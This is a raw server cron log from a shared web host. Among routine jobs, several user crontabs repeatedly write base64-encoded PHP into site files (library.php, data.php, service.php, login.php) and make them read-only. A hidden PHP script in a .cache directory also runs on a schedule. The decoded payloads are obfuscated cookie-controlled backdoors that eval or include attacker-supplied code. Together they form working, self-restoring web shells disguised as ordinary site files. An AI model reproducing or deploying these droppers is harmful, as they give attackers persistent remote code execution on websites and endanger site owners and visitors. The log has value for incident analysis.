Mar  1 15:01:01 medusa CROND[21352]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:01:01 medusa CROND[21354]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:01:01 medusa CROND[21357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:01:01 medusa CROND[21358]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 15:01:01 medusa CROND[21366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:01:01 medusa CROND[21369]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:01:01 medusa CROND[21370]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:01:01 medusa CROND[21374]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:01:01 medusa run-parts(/etc/cron.hourly)[21358]: starting 0anacron
Mar  1 15:01:02 medusa run-parts(/etc/cron.hourly)[21465]: finished 0anacron
Mar  1 15:02:01 medusa CROND[13717]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:02:01 medusa CROND[13718]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:02:01 medusa CROND[13719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:02:01 medusa CROND[13722]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:02:01 medusa CROND[13725]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:02:01 medusa CROND[13724]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:02:01 medusa CROND[13727]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:02:01 medusa CROND[13730]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:02:01 medusa CROND[13732]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:02:01 medusa CROND[13729]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:02:01 medusa CROND[13733]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:02:01 medusa CROND[13735]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:02:01 medusa CROND[13726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:03:02 medusa CROND[6817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:03:02 medusa CROND[6836]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:03:02 medusa CROND[6934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:03:02 medusa CROND[6936]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:03:02 medusa CROND[6937]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:03:02 medusa CROND[6938]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:03:02 medusa CROND[6940]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
